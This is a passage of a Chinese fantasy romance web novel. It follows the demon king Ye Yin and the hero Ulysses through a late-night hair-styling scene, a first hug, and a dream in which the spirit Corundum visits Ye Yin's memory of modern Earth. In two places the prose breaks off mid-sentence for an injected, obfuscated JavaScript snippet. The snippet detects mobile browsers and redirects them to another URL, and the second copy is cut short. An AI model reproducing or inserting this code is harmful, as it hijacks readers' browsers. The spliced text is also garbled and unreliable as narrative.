叶隐看着那枚拳头大的、倒金字塔形的坠饰,一阵发愣。 他的理性似乎还没有思考明白,自己究竟想要什么,也不知道水晶球是不是读懂了连他自己都不知道的潜意识,才变成这副模样? 叶隐把这枚倒金字塔翻来覆去地看,舒了一口气:“还好,没有眼睛形状的图案,不然我成什么了……” 他翻遍屋子里的每一个抽屉来寻找材料,最终做出了一条金属链子,将坠饰串起,挂在脖子上。坠饰略微沉重,但贴着后颈的链子正好被尤利西斯送的颈环护身符挡住,不至于把皮肤磨破。 叶隐叉腰看着镜中的自己,满意地点了点头,旋即注意力转移到那头过长的黑发上,略略皱起眉头。 22. 拥抱 ……这个人类,完全不用睡觉的吗? 刚玉无语地看着距自己仅数尺之遥的尤利西斯,后者正盘膝坐在一块垫子上冥想。 岩石魔物是不需要睡眠的,但刚玉饱读诗书,在常识方面自认连融入人类世界也不在话下,除了极少数个例外,包括寻常魔物、人类在内的大部分生命都是需要睡眠的,无非是睡眠的节奏、形式不同而已。这屋子里明明有床,它却从来没见这个人类躺上去过,他就一点也不累吗? 它想了想,假装无意地将一粒米踢飞到尤利西斯身侧。 ——噫! 在那一瞬间,它仿佛感觉到一股森寒的视线扫过自己的身体,浑身毛发登时根根竖起,可它定睛一看,那个人类根本就没有睁开过眼睛,更别说看向它了,难道那只是它的错觉? ……不,恐怕不是。如果它真的怀有侥幸心理,下一次投来的恐怕就不是视线,而是货真价实的剑气了! 刚玉瑟瑟发抖,噤若寒蝉,彻底打消了偷溜出去的心思。 又过了好一会儿,就在它昏昏欲睡的时候,尤利西斯却骤然睁眼,毫无停顿地起身,将它惊醒。 刚玉揉了揉朦胧的睡眼,见尤利西斯从桌上不知拿了个什么东西,随后迈着大步出门而去,半个字也没留下,一时呆滞。 …… “尤利西斯,我这头发实在太长、太重了,你有没有什么办法?” “……” 看着正站在全身镜前摆弄头发的叶隐,尤利西斯沉默半晌,幽幽道:“已经很晚了,你还不睡?” 叶隐转过身来,拿起胸前的倒金字塔坠饰,带着些许炫耀之意道:“为了把水晶球变成这个样子,可是花了我不少时间呐!结果,感觉还什么都没做呢,就到睡觉时间了,可我还不想睡,不如找点事做,反正头发的问题迟早要解决的嘛。” 尤利西斯看了眼那枚坠饰,随后低下头去,顺着叶隐那长长长长的头发,一路望向那已然垂到地面的墨色发梢,默默在心里赞同了对方的话。 “所以说,你有没有办法,让这些头发不那么碍事?”叶隐向身后递过梳子去,“头发留长之后,我的魔力储量都变多了,还挺有用的咧,所以先不考虑剪短,想想别的办法。” 尤利西斯上前两步站到叶隐身后,反手从衣兜里掏出自己的梳子,十分自然地抬手,三两下就为对方梳了个高马尾。发梢还是到了脚踝,但至少不会拖在地上了。 叶隐却并不满意:“这样梳头,头皮一直被拉着,很痛啊,而且我不想和你撞发型。” 尤利西斯微微松开束着头发的手,将束缚点挪到后颈下方,梳平发丝,随后看向镜中的叶隐。 “低马尾……虽然不撞发型了,但怪怪的。”叶隐评价道,“要是我的头发只有你那么长就正好,但太长了,就感觉上下比例有点失调。而且,有个刘海会好一点,但咱俩都不会剪,就光秃秃的。” 尤利西斯:“……”一会儿说不想和我扎一个发型,一会儿又说和我的头发一个长度更好,到底想怎样? 他抬手将叶隐的头发分成三股,正准备往下扎,却被紧急叫停:“别扎麻花!麻花甩起来特沉!能把我屁股都拍红!” 尤利西斯诡异地沉默了一秒,道:“你给自己扎过了?” “是啊,不然我怎么知道的?” 那麻花丑得很,毕竟,要是他扎出了满意的发型,高低得留给尤利西斯看看,而丑的嘛,当然是赶紧拆掉。 叶隐理直气壮道:“我要是自己能搞定,就不叫你帮忙了!不过我转念一想,就算是深夜,你多半也是在冥想,无聊得很,不如喊你过来一起玩…我的头发!” 尤利西斯微微摇头,“你随时都可以叫我,我不会拒绝。” 叶隐眼珠一转:“你洗澡的时候也可以叫你?” “……” “我洗澡的时候也可以叫你?” 尤利西斯不搭理他,松开那刚扎上的半截麻花,重新给它梳顺,再次捏着这厚厚一把头发,丈量起合适的捆扎点。 叶隐的身体挡住了镜中尤利西斯的动作,叫他看不清。他正等待着,却忽然感觉什么东西戳到了自己的后腰,当即便是一股酥麻之感从尾椎向上钻,麻得他从腰抖到天灵盖,险些叫出声来。 哇靠!这、这难道就是传说中的……过电?! 尤利西斯正要在叶隐腰部的高度处扎上发圈,突然感觉对方抖了抖。他疑惑地抬头看向镜中,见叶隐捂着下半张脸,指缝中漏出来的脸颊通红通红,肩膀不停耸动,似乎在喘气,一双眼睛瞪得老大,看的好像是镜子里的他——在被他发现的瞬间,视线的焦点就挪到了空处去,但脸上的红霞就没那么容易掩饰了。 他在……兴奋吗? 意识到这件事的第一时间,尤利西斯脑中闪过的是,先前叶隐亲吻自己脸颊的画面。 那一瞬间的触感,温暖、柔软,意外的难忘。他以为自己早就不记得了,但在莫名产生了联想的这一刻,记忆中的感觉还是如潮水般涌了上来,像一层轻薄的纱,盖在他的眉眼、他的肩膀上。 当时的他很冷静,现在的他亦是,无法按捺自己的人从来都是叶隐才对。他总是很难跟上对方的节奏,总是无法理解对方在想什么,但…即使他的理性还没有反应过来,他的情绪却越来越容易被牵动,而且,还不能当做不存在。 “要么,就不要讲丝毫情分,直接用力量压倒我,迫使我为你所用,要么…就对我再好些,让我想着你、念着你……” ……那之后,他是怎么选择的呢? 他从未真正表态过,但他…把勇者之剑的事告诉了叶隐。 在魔王本人知道世上再无能杀死他的东西之后,任何威胁都不会再有用了,从那时候起,他就已经放弃了前一个选择,而且,没有回头路。 在做出告知对方的决定前,他并没有思考太多。思考从来不是他的长处,何况他的老师、他的队友都曾告诉过他,比起思考的结果,他更应该相信自己的直觉。 他的确那么做了,而叶隐也的确没有辜负他的信任。 …… 和尤利西斯不同,叶隐是个说到做到的人,而且,无论想要什么,不想要什么,都会坦然地说出口。 他想要信任,尤利西斯就给他,在得到信任之后,他又回以信任——这就是尤利西斯以为的,他们之间最理想的关系。 至于那所谓的另一个选择…… 尤利西斯觉得,自己还没有做好准备,而叶隐也同样没有。 叶隐是个足够坦诚的人,唯独在爱与被爱这件事上,不像他应对其他事那样进退自如,至少尤利西斯是这么认为的。 有时,他会像亲吻自己的脸时那样,甭管别人作何想法,总之先做自己的事,一鼓作气地冲到最前方,头也不回。 有时,他又会陷入纠结,难以面对希冯对待他的畸形态度,又不懂得保护自己,宁可自己受伤,也不愿惩罚别人。 从第一次见面到现在,无数次暗示,无数次挑逗,在听过自己的故事后依然初心不改……尤利西斯相信叶隐是真的喜欢自己,他还不至于蠢笨到连这一点都不敢确定。更何况,叶隐喜欢的,绝不仅是他作为勇者、作为神之子的表面,还有那个出身农民的、喜欢老鼠的男孩的侧影,甚至连那个杀死了无辜者的、输给了死敌的、背叛了同族的至黑阴影,也愿意全盘接纳。 那么,他还有什么可奢求的呢? 尤利西斯可以理解叶隐的大胆,他是外来者,在这个世界上,他唯一拥有之物就是自己的生命、以及自由意志,他可以大胆地追求自己想要的一切,毕竟,即使不那么做,他拥有的一切也会在失败之后烟消云散——而尤利西斯不行。 他并不是还有什么勇者的包袱,实际上他也早就了无牵挂了,只是,他想要的东西太多、太大:终结魔王的宿命、灭绝魔物、帝国繁盛、世界和平……无论哪一个,都是他穷尽一生也难以达成的理想——可这些与叶隐毫无关系。 叶隐是善解人意的,哪怕认为自己与这个世界的人类并非同源,他依然愿意以富有同理心的视角去看待他们,这正是尤利西斯最喜欢他的地方,却也是最令尤利西斯挣扎的地方。 尤利西斯相信,如果自己将顾虑坦诚告知叶隐,他一定会理解,甚至会勉强自己,把那些他根本不感兴趣的事也当做自己的理想去努力,但是,他的努力会有结果吗?只要身为此世之恶的魔王不再作恶,世界就真的能和平吗? ……万一,他永远无法再次回到自己的家乡,难道就要让他在这陌生的地方,穷极那近乎永恒的一生,为一群绝无可能与作为魔王的他和解的、仅仅只有表面相似的人类,鞠躬尽瘁吗? “……” 感觉到尤利西斯的动作停滞下来,叶隐目露茫然之色,慢慢放下遮掩面部的双手,脸上的热度也渐渐冷却下去。 他的反应好像是有点太大了,只是被尤利西斯的手指轻戳了下腰而已,他自顾自激动着,对方可能都没当回事…… “!” 被骤然拥入怀抱中的叶隐一惊,陌生的亲密触感有一瞬间令他窒息,他拼尽全力才抑制住挣脱的本能,后知后觉地意识到——这是尤利西斯,不可能也不是什么陌生人。 镜中的银发青年直起身来,脑袋轻轻贴在叶隐耳畔,双臂从后方轻柔地环住叶隐的身体。他的身体没有任何气味,甚至精心养护的头发也没有,但此刻,叶隐仿佛能够闻到一股特殊的味道——那是,情绪的气味。 但凡叶隐表现出一丝抗拒,都可以轻而易举地将这怀抱挣脱,反应过来这一点时,叶隐不由得庆幸,并不再动弹分毫,连呼吸都放缓了,生怕任何一个意外惊吓到对方,让他重新缩回乌龟壳里。 咚咚、咚咚、咚咚…… 叶隐的心跳得很快。 他很高兴,非常高兴,尽管他已经察觉到,这是个并不带有情欲色彩的拥抱,他依然高兴得不能自已。 第一次遇到真正令他心动的男人,第一次得到对方的回应,第一次亲密接触…… 他以为自己会害怕,会不适应,甚至担心自己说不定没有想象中那么喜欢男性……但在意识到对方是尤利西斯的瞬间,一切不安都烟消云散了。 “……尤利西斯。” 叶隐最后还是出声了。他抬手轻轻按住尤利西斯的双臂,紧盯着对方在镜子里低垂着的面孔,微笑道:“我好高兴。” 他抚摸着身前那双遍布厚茧的宽大手掌,轻声道:“所以,你也开心点吧?” 低垂的银色睫毛颤了颤,却没有向上抬起,反而彻底闭拢,连带着眉头也蹙得更深。 叶隐早就知道了,尤利西斯只是情绪淡薄,不是善于隐藏,他真正悲伤的时候,就像现在一样显而易见——不说话,没有动作,不愿与他对视,身上散发着淡淡的苦涩之香,像只被全世界抛弃了的小狗似的。 “你想到了什么不好的事吗?”叶隐摩挲着手中骨节分明的指节,尽可能地放轻声音,“有什么烦恼的话,就和我说吧,不管你说什么,我都会听的。” “不,只有你……”青年的嗓音比平时沙哑很多,“唯独不能说给你听。” “……如果你觉得那样更好的话。”叶隐说道,“不过,我会等着的,你想什么时候说都可以。” 啊,我会的,尤利西斯想道。 在你和我都做好准备之后…… …… 哇、哇啊啊啊……! 刚玉的灵魂飘浮在叶隐的卧室门口,尤利西斯拥抱叶隐的动作把它惊呆了,若它现在不是灵魂状态,它非得自戳双目不可。 陛下!魔王陛下!! 啊!! 它很想叫,但叫不出声,它还想哭,但也没人听得到它哭。 它还是来迟了……魔王陛下还是被可恶的人类蒙骗了!! 刚玉承认尤利西斯是有很多优点,但一切优点都抵不过他是人类!魔物与人类水火不容,这是三岁小孩都知道的事,偏偏魔王陛下失忆了,结果,居然对人类,甚至是人类的勇者,而且是导致自己沦落到如此境地的罪魁祸首,生出那种情愫…… 可恶啊……! 刚玉的灵魂呈失意体前屈之势跪在了地上。 ……不行,它不能放任事态继续发展! 它必须提醒魔王陛下!绝对不能眼睁睁看着他落入这个人类的圈套! 刚玉陡然起身,意志熊熊燃烧。它满含怒意地瞪了毫无察觉的尤利西斯一眼,转身以最快速度飞回身体中去。 …… 鼻尖萦绕的苦涩气味逐渐散去了,尤利西斯的手指从叶隐手中脱出。他收回双臂,稍稍后退半步,将叶隐腰际的发圈束好。 他问道:“这个高度可以吗?” 叶隐反手摸了摸发圈的位置,对着镜子转了半圈,双眼眯起两道弧度,“嗯……不错!” 他俯身抓起发尾,拍掉上面的灰尘,苦恼道:“但不往高处扎的话,头发的长度完全缩短不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227056|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,只能把尾巴剪掉了吗?” 尤利西斯抱起手臂,一边打量叶隐的新发型,一边道:“不,有办法解决。” “什么方法?” “我见过法师协会的会长一面,她的头发有两三个自己那么长。” “哈?!” “不仅是她,但凡是个资历丰富的法师,基本都会选择留长发。”尤利西斯说道,“为了避免被过长的头发拖累,法师协会发明了一种叫做悬空术的术式,而具体用法,就是制作一块刻有悬空术式的微型法器,将其绑在发带上、衣角上,如此就可以带动头发或衣摆飘浮起来,减轻它们的重量。” 叶隐越听,眼前越亮,“哦!这个好!” 他握着脖子上的倒金字塔坠饰,检索了一番相关的法术,很顺利地就找到了。他兴致勃勃地开始实验,结果非常好,一张画有术式、注入了魔力的纸片,就能让他的一头长发勉强漂浮起来,这下他的颈椎可轻松多了! “纸没问题吗?需要的话,我给你找块木料来。” “不用不用,纸就行了,反正也可以用防水、防火、防撕裂的术式再加固。” 叶隐裁出一张又细又长的白纸,在上面画下隐形的各种术式,又用红墨水代替狗血,装模作样地写了一堆字上去,最后连他自己也看不懂都整了些什么。 看着写满鬼画符的符纸,尤利西斯评价道:“看着像驱邪的东西。” 尤利西斯的评价给了叶隐自信,他打了个响指,赞扬道:“很上道嘛!要的就是这个效果!” 他高兴地将这张“符咒”固定在了发圈上,坚韧的纸片连带着发束一同悬浮起来,无风自动。 纸片的魔力容量有限,但注入一次魔力也足够维持好几天,如果不需要了,还可以随时将里面的魔力收回,相当方便,不愧是法师协会面向广大法师的发明。 叶隐站在镜子前叉腰,自信满满道:“连你都能理解这是驱邪之物,别人肯定也能理解,这样我的身份就更不容易暴露了~哼哼!没人能想到魔王会随身带这种东西!” 尤利西斯:“……”什么叫“连我都能”? 他瞥了眼窗外的天光,提醒道:“已经很晚了,早点休息,明天我就不叫你吃早饭了。” “好啦,这就睡。” 说着,叶隐将头发上的符咒和发圈小心摘下,冲尤利西斯挥了挥:“拜拜,晚安~” …… 床头柜上的东西越来越多了。 尤利西斯给的项环护身符,水晶球拟态的倒金字塔坠饰,还有尤利西斯送的发圈,他自己画的符咒样法器…… 叶隐一向不喜欢把事情搞得太复杂,也不觉得一个男人需要戴这些零碎在身上来当装饰,但此一时彼一时,现在他的生活除了研究魔法就是找乐子,不给自己找点事做的话,他都要慢慢变得变态了! 决定留长发,算是他日常生活的转折点。他认为,即使清贫如尤利西斯,也会精心保养自己的头发,那他花些时间在头发上,应该也是很正常的,不是不符合身份的……吧? ……真是的,都到了异世界了,他却还放不下原本世界的包袱!就算有意放纵自我,他仍不自觉地就会往过去的状态靠拢,真是江山易改、本性难移! 如果他喜欢的是女生的话,是不是就不会有这么多烦恼了呢? 叶隐躺在床上,幻想了一下女性的尤利西斯——银发金瞳、剑术超绝的天然呆大姐姐! 好像也很赞! “……” 感觉到身体某处有些微妙的反应,叶隐老脸一红,扯起被子盖住脸,不再去乱想,某处终于渐渐消停了下去。 但是,别的女人都不行,一点感觉也没有。 ……嘛,反正他对尤利西斯以外的男人也没有什么感觉,没差。 中学时期,叶隐就在怀疑自己是同性恋了,但他一直没有找到真正喜欢的对象,便始终不敢确定,更别提向家人坦诚了。 在母亲去世后,只剩三个男人的叶家始终处于阳气过盛的状态。一方面,叶隐担心自己的出柜会让家庭的和谐一去不复返,另一方面,他不确定那会不会对弟弟造成不良影响,万一潜移默化地掰弯了弟弟,那他真是万死难辞其咎。 当然,那一切与现在的他都无关了。 在异世界,他可以彻底随心所欲,不必再承受社会异样的眼光,算得上穿越这场无妄之灾中为数不多的好事之一。 ……另一件好事,自然就是他遇到了尤利西斯,一个极其优秀的人,也是目前为止唯一一个能让他开窍的人。 说实话,叶隐原本对自己追求尤利西斯的事很悲观,对方拒绝他的理由太多,反而接纳他的理由才需要特意去找。他总在心中埋怨对方的木头,却从未自信真的能够吸引到对方,所以并不发自内心地期望能收到回应。 直到……尤利西斯将勇者之剑的事告诉了他。 叶隐其实没能在第一时间反应过来,这件事具有怎样的意义,但在思考系统之事的时候,他想通了。 信任,是他和尤利西斯在与彼此的相处中都最为需要的东西,叶隐一无所有,所以他率先豁出去了,而尤利西斯的顾虑太多,所以直到现在,才一点一滴地将过往的事都告知于他——无论如何,他们终归是站在了同一条战线上,同进同退,这就是现阶段的尤利西斯能给出的、最大程度的回应了,他对此心满意足。 回想起那缕宛如雨中小狗的身上散发出的苦涩气味,叶隐抿了抿嘴,将护身符捞在手中,想象着这是尤利西斯的手掌,来回抚摸。 他还是没想通,对方在那一刻联想到了什么,才会突然间变得那么忧伤? 之前尤利西斯也有许多事瞒着他,但后来慢慢地都说出来了,这次也会一样吗?…… 怀着些许忧郁,又一次清点过床头柜上的零碎后,叶隐抱着被子睡下了。 虽然还没定下离开的时间,但好日子终归是过一天少一天。等他离开城堡,也不知要到什么时候,才能在安心的地方睡到这样柔软、保暖的床铺? ……不过,和尤利西斯两个人在外面,会有很多机会一起睡的吧?嘿嘿…… 在些许美妙的妄想中,叶隐沉沉入睡。 他完全没有察觉到,床头柜上的倒金字塔坠饰忽然发出了微光,在昏暗的房间中闪烁。 【检测到魔法术式的存在,判定中……】 【检索完成,该术式为灵界入梦术,类别为人类魔法,精神魔法,中级魔法……】 23. 叶隐的世界 刚玉从黑曜石那里听说过,魔王陛下还是人类的时候,似乎是在流浪中长大的。 为了避开人类勇者的耳目,向魔王传递信息,它不得不潜入魔王的梦境之中。它本以为会看到人类帝国那些贫民窟的景象,可当它回过神来,眼前的事实却截然不同。 在模拟出的眼睛受光之前,耳朵先听到了一连串怪异的笛声,不仅不美妙,反而非常吵嚷,与之伴随的还有纷纷扰扰的叫骂声。 “……咦?” 刚玉一睁开眼睛,便不由得面露迷茫之色。它似乎正身处于一条道路的中央,身旁有许多人类沿着脚下的黑白线条穿行而过,只有它愣愣站在原地。 “现在是红灯,行人禁止通行……” 前方绿色的灯变为了红色,细长的杆子里还在发出人一样的声音。旁边五颜六色的大铁盒子喷出难闻的浓烟,正欲向前移动,但站在原地的刚玉挡住了它们的路径——刚玉后知后觉地意识到,那些嘈杂的笛声是这些铁盒子发出来的,而且好像是在警告它。 “你还好吗?跟我来。” “咦?” 一个声音从前方传来,随后伸来一只手握住刚玉的胳膊,它没有感觉到敌意,便没有反抗,愣愣地被这个穿着古怪的男人从路中央拉走。它下意识扭头看了身后,看到那些至少千斤重的大铁盒子飞速向前移动,不由得头皮发麻。 那些是什么东西啊?!里面好像有人,难道是坐骑?可声音比大象还大……吓人! 确定那些大块头只会在黑色的道路上走,而自己已经脱离了危险地带后,刚玉将注意力转回到前方。 男人一头短发,身高比刚玉的视野略高,刚玉最初觉得他的衣着奇怪,随后才发现周围的人类穿衣风格都是如此,甚至它低头看了眼自己在这梦境中的临时身体,发现连自己也穿着类似的衣服。 这布料,这鲜明的颜色,这繁复的印花,不像是人类贵族那些用魔法缝制出来的珍稀品,质量却一点不比魔法做出来的衣服差。不仅如此,这道路上的几十上百人,没有一个穿着平民的粗麻布衣,难道他们人人都是贵族吗? “站在路中间很危险啊,是低血糖了吗?” 刚玉的胳膊被松开了,它回过神来,站定脚步,看向那个将它带离危险区域的男人,正欲开口道谢,在看清对方的面孔后,忽地瞳孔一缩。 “……怎么,我脸上有什么吗?” 被一个初中年纪的小姑娘用堪称惊愕的眼神注视着,叶隐不由得摸了摸自己的脸,感到奇怪。 “魔王陛下!” 小姑娘一把抓住叶隐的T恤,焦急中带着认真地道:“我有重要的事情必须告诉你!请务必听我——唔唔唔?” 在她说完之前,叶隐就眼疾手快地捂了下她的嘴,顶着对方疑惑的眼神和周围人愈发危险的打量,叶隐的冷汗涔涔而下。 “哈哈,那个啊,是cosplay的事吧……”他眼神飘忽地干笑两声,拉起小姑娘,朝人少的方向一溜烟跑去,“我们换个地方说!” 小巷中的一间咖啡店中,一个大学年纪的青年拉着个初中年纪的女孩悄悄走进,在柜台点了单:“嗯……两杯卡布奇诺。” 这一路上的景色看得刚玉眼花缭乱,但她的注意力大头始终放在叶隐身上,跟上节奏并不困难。她先是翘起鼻尖闻了闻空气中的咖啡味儿,随即拽了拽叶隐的衣角,小声问道:“那是饮料的名字吗,陛下?” 叶隐的眼角抽了抽,赶忙偷眼看了看柜台后忙碌的店员,见对方完全没在关注他俩,稍稍松了口气,俯身倾向刚玉那边,压低声音道:“别叫我‘陛下’!直接叫我……的名字。” 女孩乖巧道:“好的,陛…希恩。” “……” 叶隐不打算纠正对方的说法,他已经猜到女孩的来头了,就让她这么误会着就挺好的。 他没有再拉着女孩的手,而是双手插兜向角落里走去,回头招手道:“来这边坐。” “是。”刚玉应声跟上。 店里人不多,两人在角落靠窗的座位面对面坐下。叶隐习惯性地掏出手机,以此掩盖自己观察对方的动作,刚玉则一点儿也不掩饰自己的好奇心,不停东张西望,并无数次看向叶隐手中发着光的手机,哈喇子都要流下来了。 果不其然,刚玉先按捺不住了,她出声问道:“陛…希恩!您的梦为什么长这样子呀?好多东西我都从来没听说过!” 如果在这里的人是尤利西斯,叶隐倒不介意与他分享这个来自记忆深处的、可能永远不会再有机会亲身去到的梦境,然而这个女孩并不是可以那样随意对待的人,他只好板着脸,冷声道:“你在打探我的隐私?” 刚玉一惊,连连摇头:“不!我没有那个意思!我只是……”她自知失言,失落地垂下头去,“对、对不起,我不会再问了。” 叶隐:“……”这孩子真单纯,怪不得是一副小女孩模样,黑曜石手底下真是人才济济。 “你就是借了那具老鼠躯体的灵魂,没错吧?”他放下手机,直入正题道,“我该怎么称呼你?” 陛下,果然已经知道了……刚玉略感惊讶,又觉得对方可是魔王,即使失去力量和记忆,发现自己的存在也是理所当然的事,便释然了。 她重新抬起头来,快速回道:“是的!我叫刚玉,是黑曜石大魔的副官。首领察觉到魔王城有变,担心您的安危,派我来探查情报。我已经从希冯大魔那里了解到了许多情况,不知道您还对那些事记得多少,但有些事我必须告诉您——” 叶隐当然知道希冯都对她说了些什么,直接打断道:“不用说了,我都知道。接下来,我问,你回答。” 刚玉:“……” 都知道?那是知道多少?全部?那您为什么还愿意亲近那个人类?为什么还放任希冯大人待在地牢里?难道您连他是您亲弟弟都忘了吗?! 刚玉满脑袋问号,却不敢违背叶隐的命令丝毫,立刻端正身体、闭紧了嘴巴,等待提问。 叶隐向后靠在沙发上,翘起二郎腿,道:“第一问,你是怎么进到我的梦里的?这应该不是普通的梦境吧。” 这早就不是他第一次做关于原本世界的梦了,但这个梦境非常真实,而且不像希恩的记忆那样只能按照既定的轨迹回放,他甚至能在这个世界自由活动——当然,他同时也很清楚,自己还在睡觉。这只是个梦境,绝非现实。 刚玉略显紧张地回道:“这个梦境世界并不是我编织的!它之所以特别,大概是因为,我所使用的入梦魔法,会将入梦者的深层潜意识的碎片,自动组成一个能承载复数意识而不崩溃的平台,所以它要比普通的梦更‘坚固’一些。即使入梦者意识到这是梦境,也不会轻易醒来,这样我们才能在梦中进行有效的交流……但是,那些奇怪的东西和我完全无关!” “果然是你搞的鬼啊。”叶隐挠了挠头,眼神有一瞬间变得有些危险,随后吁了口气:“……算了,不重要。” 他稍微有点担心刚玉会窥探到不该窥探的东西,可转念一想,这毕竟只是个梦,所有的一切乍看有逻辑,实则绝不会突破他自身对世界的认知和理解,只是徒有其表而已。譬如,将桌上的手机拆开,看到的大概只是一个黑箱,而不是集成芯片,因为他根本就不了解手机的内部构造。 他抱起手臂,看着天花板上的纹路,若有所思。 刚玉的魔法给了他灵感,这个世界固然只是个梦,但对他来说已经绰绰有余了。也许,他也可以试着用魔法,在自己的意识中构建一个虚构的家乡?……哈哈,他的思乡之情好像还没有到那个地步…… 哎。 “你们的卡布奇诺,请慢用。” 服务生给两人端来咖啡,叶隐回过神来,驱走眼前不识时务乱飞的苍蝇,主动抬手将其中一杯推向刚玉,然后拿起自己那杯自顾自地喝了起来。 嗯,还是和从前一样的味道。 刚玉偷偷看了眼叶隐,试探性地拿起温暖的杯身抿了一口,上层的奶泡那云一样的轻柔口感和甜味一下抓住了她,但紧接着入口的微苦的混合液令她下意识皱眉。 苦味往往意味着有毒,即使不致命,也很可能有害。人类居然还会特意制作苦味的饮料,真是无法理解。 刚玉确认了,自己确实不喜欢苦味,但这杯饮料还是带有甜味的,而且显而易见地含有牛奶的成分,所以下口没什么难度,何况这还是魔王陛下请她喝的,当然不能浪费……她一边小口啜饮,一边牢牢记住这杯饮料的味道,神情认真而专注。 好奇心,求知欲,尝试新鲜事物的勇气,快速集中注意力……这些品质,还有刚才对入梦魔法的解释,以及寄宿在老鼠身躯上的特殊魔法…… 看来,她是位尚在成长中的魔法师,而且已然颇有成就,未来不可限量。 叶隐装作漫不经心喝着咖啡的样子,在心中迅速做着分析。 这个女孩很好懂,虽然不排除这一切都是伪装的可能,但只要希冯的谎言还没有被戳穿,废大力气来蒙骗一个废物魔王就是完全没有性价比可言的,特意做到这个地步的可能性……基本可以排除。 心里大致有数了,叶隐放下咖啡杯,换了条翘着的腿,十指交叉放在腰间,接着道:“那么,第二问——对你而言,我这个魔王,和你的那位首领黑曜石,孰轻孰重?” 刚玉:“!” 见女孩一下子紧张起来,叶隐笑了笑,托着腮补充道:“别担心,这不是送命题。我只是有任务想要交给你,当然,前提是你愿意把我的命令置于黑曜石的命令之上。” 魔王陛下的任务!刚玉眼前一亮。 想了想,她回道:“黑曜石大人给我的指示是静观其变,同时也允许我在一定范围内自由行动,所以我想,我应该可以完成陛下的任务。” 喔,那就是还是认为黑曜石的命令更重要?不出所料。 不过,那边的态度是静观其变吗……? 叶隐感觉这有些不符合对方的作风,费力塞探子进来,而且已经了解到了“实际情况”,接下来却什么也不做?有点奇怪。 话说回来,自从修好结界后,叶隐就一直对某个问题耿耿于怀——魔王城的结界,到底是在什么时候坏掉的? 至少在希恩刚来到城中的时候,出于隐蔽的需要,他应该是会确保结界完好的,也就是说,结界坏掉的时间,就是在最近两三个月内,而且,出于某种未知的原因,希恩没有选择修复结界,一直拖到现在。 之前叶隐没能想通这件事可能与谁有关,但在看过希冯与刚玉对话的记忆后,他对罪魁祸首的身份大致有了猜想,只待找卡拉瓦多斯验证一番。 “既然如此,你就留在我身边做事吧,我正缺少人手,送上门来的人力不要白不要。”叶隐随性地道,“其实,我失去了一部分记忆,正需要一个知识丰富的人从旁提醒我,你只需要把这件事做好就行,不难吧?即使你现在是老鼠之身也不妨事,反而隐蔽性极强,毕竟,谁能想到一只宠物老鼠会比常人更知识渊博呢?” 刚玉听得双眼放光,认真点头:“是,我有自信可以做好!请允许我待在您身边!” 既不违背黑曜石大人的指示,又能保护陛下的安全,还能完成陛下亲自下发的任务!这么好的差事肯定要干啊! “……但是,我的身体现在是那位人类勇者的宠物,您把我要走的话,他不会心生疑虑吗?”刚玉担忧道。 叶隐夸口道:“尤利西斯?他对我百依百顺,才不会想那么多呢。” 百依百顺……刚玉虚起眼睛,不太相信,但又不敢吐槽。 “再说了,你我的饭都是他做的,就算你待在我身边,也不是就和他没关系了,他有什么可担心的?” 刚玉:“……”对哦! 魔王陛下的身体大抵是百毒不侵的,但要毒死一只老鼠那可太简单了,饮食拿捏在别人手里就是会有这样的风险。可它都已经以宠物的身份安身立命了,总不能每晚都偷偷跑出去啃菌毯吧? “陛…希恩,到底是怎么看待那个尤利西斯的呢?”刚玉忍不住问道,“您说什么事都知道了,那害您失去了力量和记忆,还害得希冯大人重伤的人就是他,您也知道?既然如此,您为什么还愿意亲近他?” “那家伙没想把我怎么样,只是个弄巧成拙的笨蛋而已,实际上我和他的目标是一致的。”叶隐轻描淡写地道,“不用担心那家伙会伤害我,希冯的事也只是巧合,过两天我就会把他接回来的。” 刚玉能明显感觉到,叶隐没有把话完全说清楚,不过,她没有资格要求魔王把一切都告诉她,只能试着揣摩对方的心思。 想要验证叶隐的话倒是很简单,只要确认尤利西斯也持有相同观点就可以了,不过那是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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集整个岩石军团内部擅长魔法的魔物,想要造出那样一栋楼,将其中每一片玻璃都打磨得如此精致、大小相同,或许需要百年以上的时间,更别提这样的楼房在这座大小未知的城市里到处都是…… “希恩,这座城市是真实存在的吗?”她拉着叶隐的衣角,呆呆地问道,“这里难道是神明的居所吗?” 这里是梦境,一切都是虚假的,从梦境住民身上本来就是感觉不到魔力的,但刚玉隐隐有种感觉,这座城市里的一切或许都与魔法无关。那些直来直去的棱角、统一的设计、无处不在的秩序,与强调特殊性和独一无二的魔法造物,从理念上就截然不同。 她所看到的一切,大抵只是表象而已。实际上,它们代表的或许是另一条道路,一条不属于魔法、不仅仅属于拥有灵魂的个体的,却属于所有生命的道路…… “如果神的生活就是躺在教堂深处,享受信徒的香火和贡品,听听信众的心声,时不时赐下些许神迹……”叶隐随口道,“……那这里的生活无疑要好得多得多。” 刚玉愣了一下,随后反应了过来,捂着嘴笑得双肩颤抖。 “至于是不是真实存在的嘛……”叶隐想了想,“可以是。” 这个回答没有太出乎刚玉的意料。在她心目中,即使是魔王,也不意味着就能心想事成,不然类似的奇迹早就发生在现实中了,然而现实是,魔物就是比人类更缺乏集体意识,就是不懂得“文明”的重要性,就是不会花大力气在基础建设上——这些不是她的臆想,都是肉眼可见的客观事实。 魔物永远不会拥有这样的城市,即使有魔法也不行,能实现这种奇迹的只有人类,正如这座梦境城市中的人类住民。 “那个,希恩,请允许我问一个失礼的问题……”刚玉惴惴不安、小心翼翼地道,“您在内心深处,依然认为自己是人类…是这样的吗?……还有,不是人类,而是魔物的话,就永远建造不出这样的城市吗?” 叶隐微怔,一瞬间有些放空。女孩比他想象中还要聪明敏感,这么短时间里就考虑到了那种地步,倒是不枉他专门留机会让她开眼界。 